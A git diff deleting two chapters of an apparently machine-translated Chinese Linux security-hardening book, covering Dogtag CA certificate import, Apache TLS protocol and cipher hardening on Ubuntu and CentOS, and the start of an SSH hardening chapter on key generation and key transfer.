证书并将其导入到您所有用户的浏览器中来解决这个问题。我们开始吧,好吗? - -# 动手实验–导出和导入 Dogtag CA 证书 - -Dogtag 门户网站没有这个选项,所以我们必须使用命令行: - -1. 在 Dogtag 服务器的`home`目录中,创建`password.txt`文件。在文件的第一行,插入服务器证书的密码。(这是运行`pkispawn`命令时设置的密码。) -2. 提取服务器密钥和证书,如下所示: - -```sh -sudo pki-server ca-cert-chain-export --pkcs12-file pki-server.p12 --pkcs12-password-file password.txt -``` - -运行`ls -l`命令,验证`pki-server.p12`文件是否已创建。 - -3. `p12`文件的问题在于,它既包含服务器的私钥,也包含其证书。但是要将证书添加到浏览器可信存储的 CA 部分,您必须只有证书而没有密钥。像这样提取证书: - -```sh -openssl pkcs12 -in pki-server.p12 -clcerts -nokeys -out pki-server.crt -``` - -4. 把这个新的`pki-server.crt`文件转移到一个有图形桌面的机器上。在火狐中,打开首选项/隐私&安全。单击底部的查看证书按钮。单击授权选项卡并导入新证书。选择信任此证书颁发机构以识别网站,选择信任此证书颁发机构以识别电子邮件用户: - -![](img/7986c05f-b3a7-465e-8618-0ae846cc645c.png) - -5. 关闭 Firefox,然后再次打开它,以确保证书生效。导航到 Dogtag 门户。这一次,您不应该收到任何关于使用不可信证书的警告消息。 -6. 实验室结束。 - -# 将证书颁发机构导入窗口 - -无论您运行的是哪种操作系统,使用 Firefox 还是 Chrome,您都可以将证书颁发机构证书直接导入浏览器的信任存储中。但是如果你在一个名为视窗的非品牌操作系统上运行微软自己的专有浏览器,那么你需要将证书导入到视窗信任存储中,而不是浏览器中。幸运的是,这非常容易做到。将证书复制到 Windows 机器后,只需打开 Windows 文件资源管理器,双击证书文件。然后,单击弹出对话框中的安装证书按钮。如果您的组织运行的是活动目录域,只需让一名广告管理员为您将其导入活动目录。 - -# OpenSSL 和 Apache 网络服务器 - -任何 web 服务器的默认安装都不是那么安全,所以您需要加强一点。一种方法是禁用较弱的 SSL/TLS 加密算法。一般原则适用于所有 web 服务器,但是对于我们的示例,我们将只关注 Apache。(web 服务器加固的话题相当广泛。目前,我将把讨论限制在加固 SSL/TLS 配置上。)您可以在这一部分使用 Ubuntu 或 CentOS,但是这两个发行版的包名和配置文件是不同的。CentOS 7 和 CentOS 8 之间的配置也有所不同,因此我们也将看看它们。但是在我解释配置选项之前,我需要说一两句关于 SSL/TLS 协议的历史。 - -20 世纪 90 年代,网景公司的工程师发明了 SSL 协议。版本 1 从未见过天日,所以第一个发布的版本是 SSL 版本 2 (SSLv2)。SSLv2 也有它的弱点,其中许多在 SSLv3 中已经解决。在微软的坚持下,下一个版本更名为**传输层安全** ( **TLS** )版本 1 (TLSv1)。(我不知道微软为什么反对 SSL 这个名字。)目前的版本是 TLSv1.3,但是在撰写本文时,它仍然没有得到大多数企业级操作系统的广泛支持。(红帽企业版 Linux 8 及其后代是例外。)默认情况下,Apache 仍然支持一些较旧的协议。我们的目标是禁用那些旧的协议。就在几年前,由于对最新版本 1.2 的可疑浏览器支持,这意味着禁用 SSLv2 和 SSLv3,并通过 TLSv1.2 离开 TLSv1。不过,现在我认为禁用对任何比 TLSv1.2 更早版本的支持是安全的。我的意思是,如果任何人仍然运行不支持它的浏览器,那么他们就是一个受伤的单元,需要升级。 - -理想情况下,我只想使用 TLSv1.3,因为它确实在安全性和性能方面提供了一些重大改进。然而,就目前而言,由于缺乏某个浏览器的支持,TLSv1.2 在许多情况下是我们所能期望的最好的。大多数主要的浏览器——火狐、Chrome、Chrome 和 Opera——都支持 TLSv1.3。主要的阻碍是苹果 Safari,它仍然只支持 1.2 版本。(希望当你读到这篇文章时,情况已经有所改变。) - -# 在 Ubuntu 上加固 Apache SSL/TLS - -在这个演示中,我们将使用两台 Ubuntu 18.04 虚拟机。我们将在第一个上安装 Apache,在第二个上安装`sslscan`。理论上可以在 CentOS 上使用`sslscan`,但是我发现它的实现有问题,不能正常工作: - -1. 要在 Ubuntu 机器上安装 Apache,只需执行以下操作: - -```sh -sudo apt install apache2 -``` - -这也安装了`mod_ssl`包,其中包含了用于 SSL/TLS 实现的库和配置文件。在撰写本文时,2020 年 1 月,Ubuntu 18.04 是当前的长期支持版本。它的 Apache 包仍然不支持最新的 TLSv1.3,尽管它的 OpenSSL 包支持。(Ubuntu 19.04 和 19.10 中的 Apache 确实支持它,但由于它们不是长期支持版本,我不能建议将其用于关键的生产用途。)当你读到这篇文章的时候,很有可能 Ubuntu 20.04 将会问世,它将是 LTS,并将完全支持 1.3 版本。 - -当然,如果您启用了防火墙,请确保端口`443/tcp`是打开的。 - -2. Apache 服务已经启用并正在运行,因此您不必再为此伤脑筋。但是您确实需要使用这三个命令来启用默认的 SSL 站点和 SSL 模块: - -```sh -sudo a2ensite default-ssl.conf -sudo a2enmod ssl -sudo systemctl restart apache2 -``` - -3. 在我们看 SSL/TLS 配置之前,让我们设置一个扫描机来从外部测试我们的配置。在第二个 Ubuntu 虚拟机上,安装 sslscan 包: - -```sh -sudo apt install sslscan - -``` - -在扫描仪机器上,扫描安装了 Apache 的 Ubuntu 机器,替换自己机器的 IP 地址: - -```sh -sslscan 192.168.0.3 -``` - -请注意支持的算法和协议版本。您应该看到根本不支持 SSLv2 和 SSLv3,并且支持 TLSv1 到 TLSv1.2。 - -4. 在带有 Apache 的 Ubuntu 虚拟机上,编辑`/etc/apache2/mods-enabled/ssl.conf`文件。寻找这样一句话: - -```sh -SSLProtocol all -SSLv3 -``` - -将其更改为: - -```sh -SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1 -``` - -5. 重新启动 Apache 守护程序以使此更改生效: - -```sh -sudo systemctl restart apache2 -``` - -6. 再次扫描这台机器,并注意输出。您应该看到,较旧的 TLSv1 和 TLSv1.1 协议已被禁用。所以,恭喜你!您刚刚对 web 服务器进行了快速简单的安全升级。 -7. 实验室结束。 - -现在,让我们来看看 RHEL 8/CentOS 8。 - -# 在 RHEL 8/CentOS 8 上加固阿帕奇 SSL/TLS - -在本演示中,您将在 CentOS 8 虚拟机上安装 Apache 和`mod_ssl`。(与 Ubuntu 不同,您必须将这些作为两个独立的包安装。)使用您在上一实验中使用的同一扫描仪虚拟机。RHEL 8/CentOS 8 的一项新功能是,您现在可以为大多数需要加密的服务和应用设置系统范围的加密策略。我们在这里快速看一下,在[第 6 章](06.html)*SSH 加固*中再次出现: - -1. 在您的 CentOS 8 虚拟机上,安装 Apache 和`mod_ssl`并启动服务: - -```sh -sudo dnf install httpd mod_ssl -sudo systemctl enable --now httpd -``` - -2. 打开防火墙上的端口`443`: - -```sh -sudo firewall-cmd --permanent --add-service=https -sudo firewall-cmd --reload -``` - -3. 从扫描虚拟机中,扫描 Apache 虚拟机: - -```sh -sslscan 192.168.0.160 -``` - -你已经看到一个很大的改进。默认情况下,不支持早于 TLSv1.2 的版本。但是你也会看到一个问题。RHEL 8 和 CentOS 8 都支持新的 TLSv1.3,但是在这些扫描结果中您看不到任何相关信息。这是因为 sslscan 尚未更新以识别 TLSv1.3。没关系,我们稍后会解决这个问题。(此外,sslscan 对于显示您可能想要禁用的旧算法仍然很有用。) - -4. 接下来,在 Apache 虚拟机上,查看系统范围加密配置的状态: - -```sh -sudo update-crypto-policies --show -``` - -你应该看到`DEFAULT`作为输出。借助`DEFAULT`,您可以获得 TLSv1.2 作为最低协议版本以及 TLSv1.3 的优点。但是您还会看到一些我们可以不用的 TLSv1.2 算法。 - -5. 在带有 Apache 的虚拟机上,将系统范围的加密策略设置为`FIPS`: - -```sh -sudo fips-mode-setup --enable -``` - -**联邦信息处理标准** ( **FIPS** )是美国政府标准,规定了加密算法和监控的最低要求。如果您想与美国政府做生意,您的服务器可能需要满足 FIPS 的要求。有了 RHEL 8/CentOS 8,只需要这一个命令。 - -6. 重新启动 Apache 虚拟机,以便 FIPS 模式生效。然后,运行这两个命令来验证 FIPS 模式是否有效: - -```sh -sudo fips-mode-setup --check -sudo update-crypto-policies --show -``` - -7. 重复步骤 3 。这一次,您将看到支持算法的较小列表。 -8. 正如我之前提到的,sslscan 还不能识别 TLSv1.3。但是您可以使用 OpenSSL 来验证 TLSv1.3 在我们的 RHEL 8/CentOS 8 服务器上确实有效。只需对 Apache 服务器虚拟机运行以下命令: - -```sh -echo | openssl s_client -connect 192.168.0.160:443 -``` - -如果没有`echo |`部分,这个命令将创建到服务器的持久连接。我们不希望这样,而`echo |`部分阻止了它。这个命令不会显示服务器支持的全部算法列表。相反,它将向您显示它用来创建连接的算法。在底部的某个地方,您会看到您通过 TLSv1.3 连接到您的 CentOS 8 虚拟机(如果您对您的 Ubuntu 18.04 虚拟机执行相同的命令,您会看到它只使用 TLSv1.2) - -9. 对一些公共网站重复*第 8 步*,看看他们在用什么算法。这里有一些建议: - -```sh -echo | openssl s_client -connect google.com:443 -echo | openssl s_client -connect allcoins.pw:443 -``` - -10. 实验室结束。 - -除了我在这里展示的两种模式之外,还有另外两种加密策略模式。`LEGACY`模式启用一些我们不想使用的非常老的算法,除非绝对有必要支持老的客户端。但是,正如我一直说的,任何使用旧客户端的人都需要升级。还有`FUTURE`模式,它既禁用弱算法,又使用更长的密钥,更能抵抗未来更强大的硬件的破解尝试。如果需要运行`FUTURE`模式而不是`FIPS`模式,只需用以下内容替换前一实验的 *s* *步骤 5* 和 *6* : - -```sh -sudo update-crypto-policies --set FUTURE - -``` - -(注意,您将设置`FIPS`模式或`FUTURE`模式。你不会同时拥有两套。`FIPS`模式不仅仅是禁用弱算法,这就是为什么设置它的命令不同。) - -# 在 RHEL 7/CentOS 7 上加固阿帕奇 SSL/TLS - -好吧,我说过我们会考虑在 CentOS 7 机器上做这个。但是我将使它简短。 - -您将在 CentOS 7 上安装 Apache 和 mod_ssl,方法与在 CentOS 8 上相同,只是您将使用`yum`命令而不是`dnf`命令。与 CentOS 8 一样,您需要启用并启动带有`systemctl`的 Apache,但您不需要启用 ssl 站点或 ssl 模块。当然,还要确保防火墙上的端口`443`是打开的。 - -当您对 CentOS 7 机器进行 sslscan 时,您将看到一个非常长的支持算法列表,从 TLSv1 到 TLSv1.2。即使使用 TLSv1.2,您也会看到一些非常糟糕的事情,如下所示: - -```sh -Accepted TLSv1.2 112 bits ECDHE-RSA-DES-CBC3-SHA Curve P-256 DHE 256 -Accepted TLSv1.2 112 bits EDH-RSA-DES-CBC3-SHA DHE 2048 bits -Accepted TLSv1.2 112 bits DES-CBC3-SHA -``` - -这些行中的`DES`和`SHA`表示我们支持使用过时的**数据加密标准** ( **DES** )和版本 1 的**安全哈希算法** ( **SHA** )。这可不好。通过编辑`/etc/httpd/conf.d/ssl.conf`文件来清除它们。寻找这两行: - -```sh -SSLProtocol all -SSLv2 -SSLv3 -SSLCipherSuite HIGH:3DES:!aNULL:!MD5:!SEED:!IDEA -``` - -将它们更改为: - -```sh -SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -SSLCipherSuite HIGH:!3DES:!aNULL:!MD5:!SEED:!IDEA:!SHA -``` - -使用以下命令重新加载 Apache: - -```sh -sudo systemctl reload httpd -``` - -再次扫描机器,你会发现支持的算法少了很多。(顺便说一下,新 TLSv1.3 的一个优点是它完全摆脱了这些遗留算法。) - -接下来,让我们看看用户如何向服务器表明自己的身份。 - -# 设置相互身份验证 - -当您访问银行的安全网站时,您的网络浏览器要求网络服务器向浏览器进行身份验证。换句话说,浏览器要求查看网站的服务器证书,以便验证它是否有效。通过这种方式,你可以确信你登录的是银行的真实网站,而不是假冒网站。然后,您必须向 web 服务器验证自己的身份,但通常要使用用户名和密码。 - -如果 web 服务器被设置为允许,用户可以使用证书进行身份验证。这样,坏人就没有密码可以窃取或破解。当您将 Dogtag 的`ca_admin_cert.p12`证书导入您的网络浏览器时,您已经看到了这是如何完成的。这个证书给了你访问 Dogtag 的管理员页面的强大能力。您的普通最终用户将没有此证书,因此他们只能访问最终用户页面,在那里他们可以请求证书。 - -主要的网络服务器——Apache、Nginx、lighttpd 和其他一些——支持相互认证。篇幅不允许我详细介绍在服务器上设置它的细节,但无论您使用哪种服务器,文档都将涵盖它。 - -# 摘要 - -像往常一样,我们在这一章已经讲了很多内容。我们从使用 GPG 加密、签名和共享加密文件开始。然后,我们研究了加密驱动器、分区、目录和可共享容器的各种方法。之后,我们研究了如何使用 OpenSSL 创建密钥、CSr 和证书。但是由于我们不想一直使用自签名证书,并且商业证书并不总是必要的,所以我们研究了如何使用 Dogtag 设置私有 CA。我们通过寻找简单的方法来加固 Apache 网络服务器上的 TLS 配置,并触及了相互身份验证的主题。 - -一路上,我们有很多实践实验室。这很好,因为毕竟,闲人是魔鬼的作坊,我们当然不希望出现这种情况。 - -在下一章中,我们将研究加固安全外壳的方法。到时候见。 - -# 问题 - -1. 以下哪一项不是 GPG 的优势? - A .它使用强大、难以破解的算法。 - B .很适合和不认识的人分享秘密。 - C .其公钥/私钥方案消除了共享密码的需要。 - D .你可以用它来加密不打算分享的文件,供自己个人使用。 -2. 你需要给弗兰克发一条加密信息。在与 GPG 加密他的信息之前,您必须做什么才能不必共享密码? - A .没什么。只需用您自己的私钥加密邮件。 - B .将 Frank 的私钥导入您的钥匙圈,并将您的私钥发送给 Frank。 - C .将弗兰克的公钥导入您的钥匙圈,并将您的公钥发送给弗兰克。 - D .只需将 Frank 的公钥导入您的钥匙圈即可。 - E .只需将弗兰克的私钥导入你的钥匙圈。 -3. 在 Linux 系统上,以下哪一项是全磁盘加密的正确选择?T2;LUKS -4. 如果您使用 eCryptfs 加密用户的主目录,而您没有使用全磁盘加密,您还必须采取什么措施来防止敏感数据泄漏? - A .无。 - B .确保用户使用强私钥。 - C .加密交换分区。 - D .必须在全磁盘模式下使用加密文件。 -5. 在以下哪种情况下,您会使用 VeraCrypt? - A .无论何时想要实现全盘加密。 - B .只要你只是想加密用户的主目录。 - 无论何时,只要你喜欢使用专有的封闭源码加密系统。 - D .每当需要创建加密容器时,可以与 Windows、macOS 和 BSD 用户共享。 -6. 以下哪两种说法是正确的? - A .默认情况下,Ubuntu 18.04 支持 TLSv1.3\. - B .默认情况下,在 Ubuntu 18.04 中禁用 TLSv1 和 TLSv1.1。 - C .默认情况下,在 RHEL 8/CentOS 8 中禁用 TLSv1 和 TLSv1.1。 - D .默认情况下,RHEL 8/CentOS 8 支持 TLSv1.3 - -7. 您需要确保您的网络浏览器信任来自 Dogtag CA 的证书。你是怎么做到的? - A .您使用`pki-server`导出 CA 证书和密钥,然后使用`openssl pkcs12`仅提取证书。然后,将证书导入浏览器。 - B .将`ca_admin.cert`证书导入浏览器。 - C .您将`ca_admin_cert.p12`证书导入浏览器。 - D .将`snakeoil.pem`证书导入浏览器。 - -# 进一步阅读 - -关于 TLS 和 OpenSSL 的说明: - -* OpenSSL 教程 SSL 证书、私钥和 CSR 是如何工作的?:[https://phoenixnap . com/kb/OpenSSL-教程-SSL-证书-私钥-csrs](https://phoenixnap.com/kb/openssl-tutorial-ssl-certificates-private-keys-csrs) -* OpenSSL 证书颁发机构:[https://www . semurity . com/如何设置自己的证书颁发机构-ca-use-OpenSSL/](https://www.semurity.com/how-to-setup-your-own-certificate-authority-ca-using-openssl/) -* 构建 OpenSSL 证书颁发机构:[https://devcentral . F5 . com/s/articles/building-an-OpenSSL-证书颁发机构-介绍和设计-椭圆曲线的注意事项-27720](https://devcentral.f5.com/s/articles/building-an-openssl-certificate-authority-introduction-and-design-considerations-for-elliptical-curves-27720) -* 红帽 8 中传输层安全 1.3 版本:[https://www . Red Hat . com/en/blog/transport-Layer-Security-version-13-红帽-enterprise-linux-8](https://www.redhat.com/en/blog/transport-layer-security-version-13-red-hat-enterprise-linux-8) -* OpenSSL 架构简述:[https://www . OpenSSL . org/docs/opensslstrategicarchicture . html](https://www.openssl.org/docs/OpenSSLStrategicArchitecture.html) -* 活跃的鸭子出版社,提供关于 OpenSSL 的书籍、培训和时事通讯:[https://www.feistyduck.com/](https://www.feistyduck.com/) -* OpenSSL“genpkey”手册页:[https://www.openssl.org/docs/man1.1.0/man1/genpkey.html](https://www.openssl.org/docs/man1.1.0/man1/genpkey.html) - -电动汽车证书的问题: - -* Chrome 浏览器将 EV UI 移动到 Page Info:[https://chromium . googlesource . com/chromium/src/+/HEAD/docs/security/EV-to-Page-Info . MD](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/ev-to-page-info.md) -* 扩展验证被破坏:[https://www . cyber scoop . com/easy-fake-extended-Validation-certificates-](https://www.cyberscoop.com/easy-fake-extended-validation-certificates-) -* 以“默认城市”为位置颁发的电动汽车证书:[https://groups.google.com/forum/#!topic/Mozilla . dev . security . policy/1 resopcny 0](https://groups.google.com/forum/#!topic/mozilla.dev.security.policy/1oReSOPCNy0) -* 出具错误信息的电动汽车证书:[https://twitter.com/Scott_Helme/status/1163546360328740864](https://twitter.com/Scott_Helme/status/1163546360328740864) - -免费证书的问题让我们加密证书: - -* 网络罪犯滥用免费让我们加密证书:[https://www . infoworld . com/article/3019926/网络罪犯-滥用免费让我们加密证书. html](https://www.infoworld.com/article/3019926/cyber-criminals-abusing-free-lets-encrypt-certificates.html) - -CA 标记: - -* 如何增加 Linux 中的文件描述符数量:[https://www . tec mint . com/increment-set-open-file-limits-in-Linux/](https://www.tecmint.com/increase-set-open-file-limits-in-linux/) -* dogg 标记 PKI wiki:https://www . dotagpki . org/wiki/PKI _ main _ page -* 将 CA 导入 Linux 和 Windows:[https://Thomas-leister . de/en/how-import-CA-root-certificate/](https://thomas-leister.de/en/how-to-import-ca-root-certificate/) -* 红帽(Dogtag)证书颁发机构文档:[https://access . RedHat . com/Documentation/en-us/red _ Hat _ Certificate _ system/9/](https://access.redhat.com/documentation/en-us/red_hat_certificate_system/9/) - -RHEL 8/CentOS 8: - -* 设置系统范围的加密策略:[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/8/html/security _ Harding/使用系统范围的加密策略 _ security-Harding](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/security_hardening/using-the-system-wide-cryptographic-policies_security-hardening)** \ No newline at end of file diff --git a/docs/master-linux-sec-hard/06.md b/docs/master-linux-sec-hard/06.md deleted file mode 100644 index e77e3ecd..00000000 --- a/docs/master-linux-sec-hard/06.md +++ /dev/null @@ -1,1720 +0,0 @@ -# 六、SSH 加固 - -**安全外壳** ( **SSH** )套件是 Linux 管理员必备的工具之一。它可以让你在自己的小隔间里,甚至在自己家里舒适地照顾 Linux 服务器。无论哪种方式,都比穿上你的派克大衣,穿过安全圈进入冰冷的服务器机房要好很多。安全外壳中的*安全*意味着您键入或传输的所有内容都将被加密。这就消除了有人通过在你的网络中插入嗅探器来获取敏感数据的可能性。 - -在你的 Linux 职业生涯的这个阶段,你应该已经知道如何使用安全外壳或 SSH 来进行远程登录和远程文件传输。您可能不知道的是,SSH 的默认配置实际上相当不安全。在本章中,我们将了解如何以各种方式加固默认配置。我们将研究如何使用比默认算法更强的加密算法,如何设置无密码身份验证,以及如何为安全文件传输协议(SFTP)的用户设置监狱。另外,我们将了解如何扫描 SSH 服务器以查找易受攻击的配置,以及如何通过**安全外壳文件系统** ( **SSHFS** )共享远程目录。 - -在本章中,我们将涵盖以下主题: - -* 确保 SSH 协议 1 被禁用 -* 为无密码登录创建和管理密钥 -* 禁用根用户登录 -* 禁用用户名/密码登录。 -* 使用强加密算法配置安全外壳 -* 在 RHEL 8/CentOS 8 上设置系统范围的加密策略 -* CentOS 8/红帽 8 上的 FIPS 模式 -* 配置更详细的日志记录 -* 使用白名单和 TCP 包装器进行访问控制 -* 配置自动注销和安全横幅 -* 其他杂项安全设置 -* 为不同的主机设置不同的配置 -* 为不同的用户和组设置不同的配置 -* 扫描 SSH 服务器 -* 为 SFTP 用户建立一个客户环境 -* 使用 SSHFS 设置共享目录 -* 从 Windows 桌面远程连接 - -所以,如果你准备好了,让我们开始吧。 - -# 确保 SSH 协议 1 被禁用 - -SSH 协议版本 1,最初的 SSH 协议,有严重的缺陷,永远不应该使用。它仍然存在于大多数 Linux 发行版中,但幸运的是,它总是被默认禁用。但是,假设您打开您的`/etc/ssh/sshd_config`文件,看到以下内容: - -```sh -Protocol 1 -``` - -或者,您可能会看到: - -```sh -Protocol 1, 2 -``` - -如果你做了,那你就有问题了。 - -`sshd_config`文件的 Ubuntu 手册页指出,协议版本 1 仍可用于传统设备。然而,如果你还在运行那么旧的设备,你需要开始认真考虑做一些升级。 - -随着 Linux 发行版的更新,您将看到 SSH 协议 1 逐渐被完全移除,就像红帽和 CentOS 从 7.4 版本开始的情况一样。 - -# 为无密码登录创建和管理密钥 - -SSH 是一套与远程服务器通信的工具。可以使用 SSH 组件远程登录远程机器的命令行,也可以使用`scp`或`sftp`安全传输文件。使用这些 SSH 组件的默认方式是使用用户名和一个人的普通 Linux 用户帐户。因此,从我的 OpenSUSE 工作站的终端登录到一台远程机器将看起来像这样: - -```sh -donnie@linux-0ro8:~> ssh donnie@192.168.0.8 -donnie@192.168.0.8's password: -``` - -虽然用户名和密码确实以加密格式在网络上传播,使得恶意行为者很难拦截,但这仍然不是最安全的做生意方式。问题是攻击者可以访问自动工具,这些工具可以对 SSH 服务器执行暴力密码攻击。僵尸网络,如冰雹玛丽云,在互联网上执行连续扫描,以找到启用 SSH 的面向互联网的服务器。 - -如果僵尸网络发现服务器允许通过用户名和密码进行 SSH 访问,它将发起暴力密码攻击。可悲的是,这样的攻击已经成功了很多次,尤其是当服务器操作员允许根用户通过 SSH 登录时。 - -This older article provides more details about the Hail Mary Cloud botnet: [http://futurismic.com/2009/11/16/the-hail-mary-cloud-slow-but-steady-brute-force-password-guessing-botnet/](http://futurismic.com/2009/11/16/the-hail-mary-cloud-slow-but-steady-brute-force-password-guessing-botnet/). - -在下一节中,我们将研究两种有助于防止此类攻击的方法: - -* 通过交换公钥启用 SSH 登录 -* 通过 SSH 禁用根用户登录 - -现在,让我们创建一些密钥。 - -# 创建用户的 SSH 密钥集 - -每个用户都有能力创建他或她自己的一组私钥和公钥。不管用户的客户端机器是运行 Linux、macOS、Windows 上的 Cygwin,还是 Windows 的 Bash Shell。在所有情况下,程序完全相同。 - -您可以创建几种不同类型的密钥,2,048 位 RSA 密钥通常是默认的。直到最近,2,048 位 RSA 密钥还被认为在可预见的未来足够强大。但是现在,来自美国国家标准与技术研究所的最新指导意见称使用至少 3072 位的 RSA 密钥或至少 384 位的**椭圆曲线数字签名** **算法** ( **ECDSA** )密钥。(你有时会看到这些 ECDSA 键被称为 *P-384。*)他们的理由是,他们想让我们为量子计算做好准备,量子计算将非常强大,它将使任何较弱的加密算法过时。当然,量子计算还不实用,到目前为止,无论是哪一年,它似乎都是未来十年才会发生的事情之一。但是,即使我们对整个量子理论不以为然,我们仍然必须承认,即使是我们目前的非量子计算机也在变得越来越强大。因此,从更强的加密标准入手仍然不是一个坏主意。 - -To see the NIST list of recommended encryption algorithms and the recommended key lengths, go to [https://cryptome.org/2016/01/CNSA-Suite-and-Quantum-Computing-FAQ.pdf](https://cryptome.org/2016/01/CNSA-Suite-and-Quantum-Computing-FAQ.pdf). - -对于接下来的几个演示,让我们切换到 Ubuntu 18.04 客户端。要创建 3072 RSA 密钥对,只需执行以下操作: - -```sh -donnie@ubuntu1804-1:~$ ssh-keygen -t rsa -b 3072 -``` - -在这种情况下,我们使用`-t`选项来指定我们想要一个 RSA 密钥,使用`-b`选项来指定位长。当提示输入钥匙的位置和名称时,我只需点击*进入*接受默认值。您可以将私钥留为空白密码,但这不是推荐的做法。 - -Note that if you choose an alternative name for your key files, you'll need to type in the entire path to make things work properly. For example, in my case, I would specify the path for `donnie_rsa` keys as `/home/donnie/.ssh/donnie_rsa`. - -您将在`.ssh`目录中看到您的新钥匙: - -```sh -donnie@ubuntu1804-1:~$ ls -l .ssh -total 8 --rw------- 1 donnie donnie 2546 Aug 28 15:23 id_rsa --rw-r--r-- 1 donnie donnie 573 Aug 28 15:23 id_rsa.pub -donnie@ubuntu1804-1:~$ -``` - -Note that if you had created the default 2,048-bit keys, the names would have been identical - -`id_rsa`密钥是私钥,只有我有读写权限。`id_rsa.pub`公钥必须是世界可读的。对于 ECDSA 密钥,默认长度为 256 位。如果您选择使用 ECDSA 而不是 RSA,请执行以下操作来创建强 384 位密钥: - -```sh -donnie@ubuntu1804-1:~$ ssh-keygen -t ecdsa -b 384 -``` - -无论哪种方式,当您查看`.ssh`目录时,您都会看到 ECDSA 密钥的命名与 RSA 密钥不同: - -```sh -donnie@ubuntu1804-1:~$ ls -l .ssh -total 8 --rw------- 1 donnie donnie 379 May 27 17:43 id_ecdsa --rw-r--r-- 1 donnie donnie 225 May 27 17:43 id_ecdsa.pub -donnie@ubuntu1804-1:~$ -``` - -椭圆曲线算法的美妙之处在于,它们看似较短的密钥长度与较长的 RSA 密钥一样安全。而且,即使是最大的 ECDSA 密钥也比 RSA 密钥需要更少的计算能力。使用 ECDSA 可以实现的最大密钥长度是 521 位。(是的,你没看错。是 521 位,不是 524 位。)所以,你可能会想,我们为什么不直接用 521 位的键去追求那种阵风呢?嗯,主要是因为 NIST 不推荐 521 位密钥。有人担心他们可能会受到*填充攻击*,这可能会让坏人破坏你的加密并窃取你的数据。 - -如果你看一下 ssh-keygen 的手册页,你会发现你也可以创建一个`Ed25519`类型的密钥,有时你会看到它被称为`curve25519`。这个不在 NIST 推荐算法列表中,但是有些人喜欢使用它有几个原因。 - -如果操作系统的随机数生成器有缺陷,RSA 和 DSA 在创建签名时可能会泄漏私钥数据。`Ed25519`在创建签名时不需要随机数生成器,所以对这个问题免疫。此外,`Ed25519`的编码方式使其更不容易受到旁道攻击。(旁道攻击是指有人试图利用底层操作系统中的弱点,而不是加密算法中的弱点。) - -一些人喜欢`Ed25519`的第二个原因正是因为它在 NIST 榜单上是*而不是*。不管对错,这些人不信任政府机构的建议。 - -Quite a few years ago, in the early part of this century, there was a bit of a scandal that involved the **Dual Elliptic Curve Deterministic Random Bit Generator** (**Dual_EC_DRBG**). This was a random number generator that was meant for use in elliptic curve cryptography. The problem was that, early on, some independent researchers found that it had the capability to have *back doors* inserted by anyone who knew about this capability. And, it just so happened that the only people who were supposed to know about this capability were the folk who work at the US **National Security Agency** (**NSA**). At the NSA's insistence, NIST included Dual_EC_DRBG in their NIST list of recommended algorithms, and it stayed there until they finally removed it in April 2014\. You can get more details about this at the following links: - -[https://www.pcworld.com/article/2454380/overreliance-on-the-nsa-led-to-weak-crypto-standard-nist-advisers-find.html](https://www.pcworld.com/article/2454380/overreliance-on-the-nsa-led-to-weak-crypto-standard-nist-advisers-find.html) - -[http://www.math.columbia.edu/~woit/wordpress/?p=7045](http://www.math.columbia.edu/~woit/wordpress/?p=7045) - -You can read the details about Ed25519 here: [https://ed25519.cr.yp.to/](https://ed25519.cr.yp.to/). - -`Ed25519`只有一个键大小,256 位。因此,要创建一个`curve25519`键,只需使用以下代码: - -```sh -donnie@ubuntu1804-1:~$ ssh-keygen -t ed25519 -``` - -以下是我创建的密钥: - -```sh -donnie@ubuntu1804-1:~$ ls -l .ssh -total 8 --rw------- 1 donnie donnie 464 May 27 20:11 id_ed25519 --rw-r--r-- 1 donnie donnie 101 May 27 20:11 id_ed25519.pub -donnie@ubuntu1804-1:~$ -``` - -然而`ed25519`也有一些潜在的缺点: - -* 首先,旧的 SSH 客户端不支持它。但是,如果您团队中的每个人都在使用使用当前 SSH 客户端的当前操作系统,这应该不成问题。 -* 第二个是它只支持一个特定的集合密钥长度,相当于 256 位椭圆曲线算法或者 3000 位 RSA 算法。因此,它可能不像我们已经讨论过的其他算法那样经得起未来的考验。 -* 最后,如果您的组织需要遵守 NIST 的建议,您就不能使用它。 - -好吧。还有一种类型的钥匙我们没有涉及。这是老式的 DSA 密钥,如果您让 ssh-keygen 创建,它仍然会创建。但是,不要这样做。DSA 算法是旧的、陈旧的,并且按照现代标准非常不安全。所以,说到 DSA,就说*不*。 - -# 将公钥传输到远程服务器 - -将我的公钥传输到远程服务器可以让服务器轻松识别我和我的客户机。在将公钥传输到远程服务器之前,我需要将私钥添加到我的会话密钥环中。这需要两个命令。(一个命令调用`ssh-agent`,而另一个命令实际上将私钥添加到密钥环中): - -```sh -donnie@ubuntu1804-1:~$ exec /usr/bin/ssh-agent $SHELL -donnie@ubuntu1804-1:~$ ssh-add -Enter passphrase for /home/donnie/.ssh/id_rsa: -Identity added: /home/donnie/.ssh/id_rsa (/home/donnie/.ssh/id_rsa) -Identity added: /home/donnie/.ssh/id_ecdsa (/home/donnie/.ssh/id_ecdsa) -Identity added: /home/donnie/.ssh/id_ed25519 (donnie@ubuntu1804-1) -donnie@ubuntu1804-1:~$ -``` - -最后,我可以将我的公钥转移到我的 CentOS 服务器,其地址为`192.168.0.8`: - -```sh -donnie@ubuntu1804-1:~$ ssh-copy-id donnie@192.168.0.8 -The authenticity of host '192.168.0.8 (192.168.0.8)' can't be established. -ECDSA key fingerprint is SHA256:jUVyJDJl2AHJgyrqLudOWx4YUtbUxD88tv5oKeFtfXk. -Are you sure you want to continue connecting (yes/no)? yes -/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed -/usr/bin/ssh-copy-id: INFO: 3 key(s) remain to be installed -- if you are prompted now it is to install the new keys -donnie@192.168.0.8's password: - -Number of key(s) added: 3 - -Now try logging into the machine, with: "ssh 'donnie@192.168.0.8'" -and check to make sure that only the key(s) you wanted were added. -donnie@ubuntu1804-1:~$ -``` - -通常,无论您选择哪种类型,您只会创建一对密钥。如您所见,我创建了三个密钥对,每种类型一对。所有三个私钥都被添加到我的会话密钥环中,所有三个公钥都被传输到远程服务器。 - -下次登录时,我将使用密钥交换,并且无需输入密码: - -```sh -donnie@ubuntu1804-1:~$ ssh donnie@192.168.0.8 -Last login: Wed Aug 28 13:43:50 2019 from 192.168.0.225 -[donnie@localhost ~]$ -``` - 